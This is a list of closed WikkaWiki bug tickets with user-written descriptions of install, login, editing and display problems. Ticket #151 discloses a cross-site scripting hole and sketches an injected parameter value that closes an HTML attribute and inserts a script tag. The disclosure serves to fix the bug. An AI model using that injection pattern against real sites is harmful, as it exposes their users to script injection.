{17} Completed Tickets by Milestone (Full Description) (654 matches)
Release Notes: List verified and closed tickets, group by milestone, include description.
Results (1 - 100 of 654)
Not Assigned (90 matches)
| Ticket | Summary | Component | Status | Version | Type | Severity | Created | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Description | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #275 | (SPAM) | 3rdparty | closed | defect | blocker | 07/13/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #284 | (SPAM) | 3rdparty | closed | defect | blocker | 07/15/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #304 | SPAM | 3rdparty | closed | defect | blocker | 08/12/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
SPAM |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #306 | (SPAM) | 3rdparty | closed | defect | blocker | 08/17/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #316 | (SPAM) | 3rdparty | closed | defect | blocker | 08/29/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #322 | (SPAM) | 3rdparty | closed | defect | blocker | 09/10/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #350 | (SPAM) | 3rdparty | closed | defect | blocker | 10/12/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #351 | (SPAM) | 3rdparty | closed | defect | blocker | 10/12/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #282 | Compare Versions | core | closed | 1.1.6.2 | enhancement | critical | 07/14/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Dear Wikkawiki Team, First I would like to thank the team for the wonderful work done in developing this tool. I downloaded the same and enhanced it for my requirements. Im facing a problem with the compare versions. Hope the team can help me in this. The compare version page take two versions of a content as arguments and displays the added/deleted and Changed lines. The modification I have done is : 1. The contents will be shown in the left and right frame, so that the user will get the best visualization effect, when he sees the difference. 2. Comparison is considered for the entire line.(no world level comparison) So, say for example I have a file called "sample" which has 7 versions. content of version 1: It will be grateful if you can let me know. Or else I would have to break my head. content of version 2: I hope you can help me. It will be grateful if you can let me know. Or else I would have to break my head. content of version 3: I hope you can help me. It will be grateful if you can let me know. Or else I would have to break my head. No .. No .. Im sure you guys can help me. content of version 4: Your Help is very much needed. It will be grateful if you can let me know. Or else I would have to break my head. No .. No .. Im sure you guys can help me. content of version 5: Im looking for your help. Your Help is very much needed. It will be grateful if you can help me in this. Or else I would have to break my head. Yes .. Im sure you guys can help me. Can you do it for me ? content of version 6: Your Help is very much needed. It will be grateful if you can help me in this. Yes .. Im sure you guys can help me. Can you do it for me ? content of version 7: Im looking for your help. Your Help in this topic is very much needed. It will be grateful if you can help me in this. Yes .. Im sure you guys can help me. I think you will do this for me ! Can you do it for me please ...? Now I come to the explanation. 1. If I compare version 1 and 2, then the system will mark "I hope you can help me." in green color which indicates addition. 2. If I compare version 2 and 3, then the system will mark "No .. No .. Im sure you guys can help me." in green color which indicates addition 3. If I compare version 3 and 4, then the system will mark "Your Help is very much needed." in new file and "I hope you can help me." in yellow color to indicate that the content of the line is changed. 4. If I compare version 4 and 5, then the system will mark "Im looking for your help." in green color (addition) "Yes .. Im sure you guys can help me." and "No .. No .. Im sure you guys can help me." in yellow color. and "Can you do it for me ?" in green color. 5. If I compare version 5 and 6, then the system will mark "Im looking for your help." in red (deleted) "Or else I would have to break my head." in red (deleted) 6. If I compare version 6 and 7, then the system will mark "Your Help is very much needed." and "I’m looking for your help." in yellow (changed) "Your Help in this topic is very much needed." in green (addition) "I think you will do this for me !" and "Can you do it for me ?" in yellow (changed) "Can you do it for me please ...?" in green (addition) Only this scenario is wrong. According to my requirements If I compare version 6 and 7, then the system should mark: "Your Help is very much needed." and "Your Help in this topic is very much needed." in yellow (changed) "I’m looking for your help." in green (addition) "Can you do it for me please ...?" and "Can you do it for me?" in yellow (changed) "I think you will do this for me !" in green (addition) Modified Soure code is : " <div class="page"> <?php if ($this->HasAccess("read",$_GETmenueId?)){ /* A php wdiff (word diff) for wakka, adapted by David Delon
/* A PHP diff engine for phpwiki.
*/ /* wdiff -- front end to diff for comparing on a word per word basis.
// If asked, call original diff
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #1092 | Ticket, Browser and Forum | unspecified | closed | 1.3 | defect | normal | 09/24/2011 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Hey. My asking is your ticket system and allright yours Browse Source. How can i add or coding those on my wikka? Finally i want to code a forum. How can i do that? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #319 | SPAM | 3rdparty | closed | defect | trivial | 09/04/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
SPAM |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #277 | File uploads (1.1.6.2) working but deletion and downloads not... | actions | closed | 1.1.6.2 | defect | blocker | 07/14/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I've sucessfully added the {{files}} tag and uploaded files. Now I'd like to be able to download the files or delete them. When I do I get the following errors: Unknown method "page/files.xml?action=download.php" Unknown method "page/files.xml?action=delete.php" I'm using a clean install on a test system. I've uploaded large files and small files alike (after editing the max file size in actions/files.php and updating my .htaccess to handle large uploads as well as removing the modifications and attempting small uploads). find ./ -type f -name download.php Yields no such file so I'm guessing its either a file thats been changed but not updated in the files.xml.php script or a missing file. **I'll trying pulling down a older copy and see if adding the file fixes the problem.** Scratch that. I've browsed your svn repos and haven't found any file that matches. Perhaps I'll try downgrading for now. Related tickets |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #390 | Perfect install but unable to login either as admin or register as a new user | unspecified | closed | 1.1.6.2 | defect | blocker | 12/06/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Using Wikka 1.1.6.2, php 5.2.0, MySQL 5.0.27.0 (RedHat 4 i386 rpm's) and I had a flawless looking install (i.e. all messages from the installer indicated everything was perfect). When I go to the Homepage I see the "Thanks for installing Wikka" page but there are no links for editing the page and clicking on the WikkiAdmin page (this corresponds to the admin ID I chose) tells me I do not have the authority to edit the page. At this point I proceed to login/register. When I try to login/register as the admin using the correct admin password nothing happens, I'm returned to the same registration page and still have no authority (am not logged in). The same thing happens when I try to register as a new user with a different, valid wikiname. What could be wrong? As a side note, I also tried logging into the official Wikka main page as a new user with the same results (I was not being logged in). I could not, for example, edit the WikkaTroubleShooting page as it suggests to report the problem. My page is viewable at www.compsysbio.org/Wikka |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #397 | How to turn off commenbt function ? | comments | closed | 1.1.6.2 | enhancement | critical | 12/15/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Hello, by the way, I won't get registration email.. Is there any chance to deactivate the comment function so also spam bots can't find it without page link ? Regards Frank |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #276 | Action= URLs not generated correctly. | core | closed | 1.1.6.2 | defect | major | 07/13/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The wiki doesn't generate URLs correctly. If I try to log out, the URL generated is: http://itcomm.arts.ubc.ca/sparrow/wikka.php?wakka=UserSettings?action=logout When it should be: http://itcomm.arts.ubc.ca/sparrow/wikka.php?wakka=UserSettings**&**action=logout i.e. the question mark should be replaced with an ampersand. Possibly related/addressed by this ticket: #78 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #399 | Text search miss some page | actions | closed | 1.1.6.2 | defect | major | 12/21/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
When search some short text string some page are missing. It happens on the last release when search for PHP and with PDF on 1.1.6.0 version For example I have a page wit 4 occurencies of PHP in dfferent place, but the page didn't appear in search result, other 3 page where founded. Tags: TagCanBeClosed rels: #455 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #663 | Trailing / not included in base_url when mod_rewrite detected | installer | closed | 1.1.6.4-rc1 | defect | major | 02/20/2008 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Even when mod_rewrite detection is successful during install, the first page of the installer does not correctly append a trailing slash to the base_url. This effectively prevents Wikka from starting up after installation is complete. Related ticket: #664 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #1047 | unabl to loginto wiki | unspecified | closed | 1.2 | defect | major | 03/31/2011 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I have installed wikkawiki (1.2 ) on a sbs 2008 server running apache 2 and php5. from firefox(3.6.1.6) and chrome(10.0.648.204) I cannot log in. when I try it stayes on the user page (the only diffrence is that the 'Redirect to homepage after login' text and check box dissappear I can log in sucessfully with internet explorer(8) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #237 | handlers/page/edit.php has lost width setting making editing textarea very small | handlers | closed | defect | normal | 06/19/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
1.1.6.1 '<textarea id="body" name="body" style="width: 100%; height: 500px">'.htmlspecialchars($body).'</textarea><br />'."\n". 1.1.6.2 '<textarea id="body" name="body">'.htmlspecialchars($body).'</textarea><br />'."\n"; I'd prefer <textarea id="body" name="body" style="width: 100%; height: 400px"> or make it customisable from the http://www.fsse.info/UserSettings screen see also ticket http://wush.net/trac/wikka/ticket/43 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #286 | WikiEdit Function Problem after Upgrade | core | closed | 1.1.6.2 | defect | normal | 07/17/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I've updated http://pclinuxonline.com/wiki Everything appears well for formatting and appearance. However, you cannot edit any pages at all. When you edit pages, you only recieve the header to edit...the page content is not displayed. The installation process was as follows: 1. Backup all files 2. Backup MySQL Database 3. Overwrite all files using ftp 4. Visit setup/install.php and follow wizard 5. Whistle while you work 6. Visit finished upgrade site Right now, things are flat broke and busted with edits...which pretty much renders the wiki useless since that is what it needs to do...also, I've tested this in opera, firefox, konquerer, and IE 6...it's a cross browser problem. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #289 | Help forum | unspecified | closed | 1.1.6.2 | enhancement | normal | 07/19/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I've spent the last 4 hours trying to find some simbilance of help on an installation issue I've been having, with no success. The installation documentation is pitifully short, the IRC channel is empty, and worst of all, THERE ARE NO FORUMS. No help desk, no nothing. With such a large project that, unless I am mistaken, is designed to be somewhat easy to use and install, I fail to see how it could have gone on this long without a dedicated support community. At the very least a 'help' type ticket could be created. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #1016 | Various PHP errors in trunk | unspecified | closed | trunk | defect | normal | 12/06/2010 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
After extracted trunk, I've found various error : find -name *.php -exec php -l \{\} \; Parse error: syntax error, unexpected T_STRING in ./lang/en/en.inc.php on line 640 Errors parsing ./lang/en/en.inc.php Somes translations contains ' Parse error: syntax error, unexpected T_VARIABLE in ./actions/image/image.php on line 51 Errors parsing ./actions/image/image.php Missing if ? Parse error: syntax error, unexpected T_STRING in ./handlers/recentchanges.xml.mm/recentchanges.xml.mm.php on line 60 Errors parsing ./handlers/recentchanges.xml.mm/recentchanges.xml.mm.php missing string concat operator Parse error: syntax error, unexpected '*' in ./handlers/edit/edit.php on line 212 Errors parsing ./handlers/edit/edit.php - A ' is missing (and was replaced by a *) - PHP complains about 'Fatal error: Can't use method return value in write context in' at line 270 I'm using PHP 5.3.3-4 from Debian Squeeze. In subversion, you can use post-commit hook to check PHP syntax, I've found it very usefull. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #53 | JS Error with wikiedit and duplication of text in textarea when using the formating buttons | 3rdparty | closed | 1.1.6.0 | defect | blocker | 12/10/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Since the move of the wikka installation on a new server I cannot use the formatting buttons any more. IE 6.0 makes a JS-Error. "Line 522 the object does not support the property or method" (Free Translation from German). It comes when i marked something and press a formatting button . The page code gets completly duplicated. With Firefox it works fine. I did also a fresh installation an have the same symptom. (See http://designtechniker.de/wikka_new/?wakka=HomePage/edit) Another fresh installation on annother server did not show the Problem. my phpinfo is here: http://info.designtechniker.de/info_server.php |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #151 | Security risk of ActionParsQuoting | actions | closed | defect | major | 03/23/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
See http://wikkawiki.org/ActionParsQuoting By allowing a single quote to be used to delimit action parameters, we create a security hole because most of action-scripts are expecting that no double-quote can be present in parameters. For example, on actions/color.php, the code color c='white"></span><script.../><span style="display:none', passed thru echo "<span style=\"color: $colorcode\">".$mytext."</span>"; will lead to code <span style="color: '''white"></span><script.../><span style="display:none'''"></span> All action-scripts should be secured before ActionParsQuoting integrated into new version, so I don't put milestone or version here as I don't exactly know when this beta feature is planned to be patched. Tags: TagCanBeClosed |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #318 | Extremelly small editing form in WikiEdit | 3rdparty | closed | 1.1.6.2 | defect | major | 09/01/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
When creating a new page I get an extremely small editing form in WikiEdit. It happens in both my browsers Safari and Firefox. It happened rigth after new installation of 1.1.6.2. Now problems with (earlier versions (1.1.6.0). The width of the editing comment form is OK... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #378 | [nul] appended if link texts end with special character | core | closed | defect | minor | 11/26/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
If link texts end in special letters like äöüß and probably áéíóú etc. Wikka appends a [nul] character. With a normal Wikka out of the box like the demo installation it looks like this with Opera: http://gio.larp-bb.de/res/MasinAlDujaili/strange_link.png IE and FF ignore this [nul]. The source code view in Opera: http://gio.larp-bb.de/res/MasinAlDujaili/sourcecode_view_opera.png Opera cannot display the source code beyond this position of the [nul]. In my editor, the character is displayed clearly as [nul]: http://gio.larp-bb.de/res/MasinAlDujaili/sourcecode_view_notepadplusplus.png Then the saved HTML code delivered by Wikka: http://gio.larp-bb.de/res/MasinAlDujaili/SandBox.htm And at last, a check if it's not just Opera and links ending with such characters: http://gio.larp-bb.de/res/MasinAlDujaili/strange_and_normal_link.png |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #461 | Writing $_GET somwhere in a page will result in an error. | unspecified | closed | 1.1.6.2 | defect | minor | 03/23/2007 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Writing the word $_GET somewhere in when editing a page, will result in an error when saving: Forbidden You don't have permission to access /wikka.php on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. If the underscore or the word $_GET is removed, it works fine. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #581 | [trunk] Update for Geshi to 1.0.7.20 | 3rdparty | closed | task | minor | 11/07/2007 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
To keep in sync with 1.1.6.4. Geshi homepage: http://qbnz.com/highlighter/ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #15 | WikiName "alias"es - sort of | actions | closed | 1.1.6.0 | enhancement | normal | 11/18/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
not sure this feature doesn't already exist, but is there a way for 2 or mor WikiNames to refer to the same, "physical" content? for example, if i have a CategoryDefinitions category set up with WikiPages for CamelCase and WikiName ... they really are pretty much the same content. it would make maintaining that information simpler if both WikiNames "pointed" to the same content. like in man pages, when you ask for the mailq man pages, it "redirects" to the sendmail man pages. or (not sure how one would accomplish this with a BLOB) something that functions like a symlink? is there a way to "redirect" within the wiki - uh - command structure? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #51 | page body does not escape & characters | formatters | closed | 1.1.6.0 | defect | normal | 12/08/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
if the entered text for the body page contains e.g. an "&" sign, it is not escaped when showing the actual page. it should be & and so it breaks the page validation. < > are ok... so i guess only & is ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #54 | Database password should be hashed or encrypted | unspecified | closed | 1.1.6.0 | defect | normal | 12/10/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
On sourceforge, the database password is readable by anyone, because it has to be in order to be read by the web server process. The password should be hashed or encrypted in some way. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #57 | namespaces | core | closed | 1.1.6.0 | enhancement | normal | 12/15/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Support to add namespaces to Wikka in exactly the same approach that Wacko uses for their concept of "Clusters" see: http://wackowiki.com/WackoDocumentation/WackoClusters?v=txp |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #70 | separate WikiWord formatting from HTML formatting | core | closed | enhancement | normal | 01/02/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Note the differences when you type WikiWord "" <p>WikiWord</p> "" Doublequotes is being used for both escaping formatting and HTML formatting. It would be nice if Wikka could parse raw content between html tags and render valid WikiWord links when given html content. This would be helpful in customizing the WYSIWYG editor and well as allow importing and integrating outside content into Wikka. See also: Looks like invalid for me! Double-double quote is used to "unwikify" some words like McDonald and to present htmlcode as-is. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #113 | On content edit, Help link to FormattingRules doesn't work | unspecified | closed | 1.1.6.1 | defect | normal | 01/17/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
When editing a page's content, if I click on the "Help" link for "Help on Wikka formatting" it took me to http://<my-domain>/FormattingRules which does not exist. My fix is to change a line in this file: 3rdparty/plugins/wikiedit/wikiedit2.js Where the word "FormattingRules" is, I prefix it with "wikka.php?wakka=" and that fixes the problem. Cheers Dean. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #115 | Order of comments on a page | comments | closed | 1.1.6.1 | enhancement | normal | 01/19/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
It could be a good idea to let the user choose the order of comments, i.e. if he wants to see the last comments first, or the way it is now. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #117 | Faster Page-index | actions | closed | 1.1.6.1 | defect | normal | 01/19/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
By default PageIndex uses $this->""LoadAllPages""() which reads your **whole site** into one array. If you would use a new function like $this->""LoadAllPagesInfo""() you will get the same info but without the 'body' content. This should speed up PageIndex a bit on larger sites...
function LoadAllPages() { return $this->LoadAll("select * from ".$this->config["table_prefix"]."pages where latest = 'Y' order by tag"); }
And replace it with: function LoadAllPages() { return $this->LoadAll("select * from ".$this->config["table_prefix"]."pages where latest = 'Y' order by tag"); }
function LoadAllPagesInfo() { return $this->LoadAll("select id,tag,time,owner,user,latest,note from ".$this->config["table_prefix"]."pages where latest = 'Y' order by tag"); }
if ($pages = $this->LoadAllPages())
if ($pages = $this->LoadAllPagesInfo())
-- OnegWR See the first item on http://wikka.jnsx.com/WikkaOptimization, too --NilsLindenberg |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #124 | external URLs with ?=&~ aren't recognised | handlers | closed | 1.1.6.0 | defect | normal | 01/25/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Links to external pages which have ?, =, & or ~ in the URL aren't recognised, while these are valid URL characters. I suggest changing line 635 of wikka.php to elseif (preg_match("/(http|https|ftp):\/\/[\\w\\d-.&=?~\/]+?$/", $tag)) Lars |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #126 | Download Problem | installer | closed | 1.1.6.1 | defect | normal | 01/30/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
So I've got Alphazip running in the background, trying for like the fifth time to unpack the latest greatest Wikka Wikki download. Its telling me that "Temporary file seems to have been modified. (You may choose to save or discard the changes by pressing continue.)" O.K., so I press continue (since it won't do anything at all when I just wait. Believe me, I tried. I also tried deleating and redownloading, as well as restarting the refrigerator, none of which solved the problem) and I'm right back at the controll panel view of the zipped .tar file. Anything you can do... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #128 | Temporary password fails to allow login | actions | closed | defect | normal | 02/03/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
After requesting a temporary password from the PasswordForgotten page on our site, the user receives an e-mail with the MD5 hash of the user's password. When pasted into the login page, login fails with a "Wrong password!" message. I've confirmed the MD5 hash sent to the user is identical to the one stored in the wikka_users table. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #135 | bug in newpage.php action | actions | closed | 1.1.6.1 | defect | normal | 02/26/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
line 21 should read if (!$this->IsWikiName($pagename) ) instead of if (!$wakka->IsWikiName($pagename) ) else it gives OBJECT EXPECTED ERROR |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #138 | tesearchexpanded does not format results. | actions | closed | 1.1.6.1 | enhancement | normal | 03/06/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
I have a textsearchexpanded on the homepage. When I do a search, the results that are shown with 'snippets' of the page are not formatted. For example, instead of showing the wiki link, it shows [[WikiLink Description]] in the results. Some formatting should be processed so that the 'snippets' are shown correctly. Avoid the header processing or convert headers to bold text in the 'snippet' view. Related ticket: #86 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #183 | Special characters in the "note on your edit"-field are not escaped | unspecified | closed | 1.1.6.1 | defect | normal | 05/24/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Special characters like "&" entered in the "note on your edit"-field are not transformed to e.g. "&". According to XML-specifications,
must not be entered directly. If they appear in a RSS-feed, the feed is broken and the special character has to be replaced manually in the (MySql-)Database. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #186 | End of page gets cut off on edit | 3rdparty | closed | defect | normal | 05/25/2006 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Not sure why or exactly what's happening but three times in the last week a page has lost a bunch of the end data on an edit. First I thought maybe I did something wrong but on the third time. We're using a page to edit collaborative information where we have the output from a game battle report at the bottom of the page and then keep track of what we're doing with the data up at the top of the page. An edit at the top will drop the stuff at the bottom. Further testing shows it loses it when it loads up the edit page not when it's sending. I can refresh the page and sometimes if I scroll to the bottom the rest of the article is missing. Hitting cancel on the edit and re-editing it shows up the full article. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #217 | ACL enhancements for 1.1.6.2 | administration | closed | 1.1.6.2 | enhancement | normal | 06/07/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Consider implementing tickets #139 (Modify ACL to allow child pages to use parent's ACL) and #189 (Optionally clone ACLs during page cloning). I've already submitted the code hacks necessary to implement, and would even be willing to assist with integrating these changes into the code base. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #229 | change in recentlycommented action file | actions | closed | 1.1.6.2 | defect | normal | 06/15/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Code was changed, resulting display includes two copies of somment (snippet) .. one appended to the "commented by" line, the next wrapped up in a 'blockquote' command ... my suggested 'fix' .... %%(php) .../actions/recentlycommented.php
// echo ' '.$commentlink.COMMENT_AUTHOR_DIVIDER.$comment_by.$comment_preview.'<blockquote>'.$comment_preview.'</blockquote>'."\n";
%% |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #233 | A category name that is a substring of another cat. name gets that pages, too | actions | closed | 1.1.6.2 | defect | normal | 06/18/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Yes, I know the category system needs to be revamped, but I figured I'd report this anyway. If you have a category name that is a substring of another category name, pages referencing the second category will also appear in the first. In other words...I have a category named '""CategoryBookOne"", and another named ""CategoryBookOneJournal"". Pages that reference ""CategoryBookOneJournal"" also show up in the list of pages for ""CategoryBookOne"", which is not the behavior I expected or wanted. -- TammyCravit
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #242 | WYSIWYG | layout | closed | 1.1.6.2 | enhancement | normal | 06/22/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
WYSIWYG editor like MCE ( http://tinymce.moxiecode.com/) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
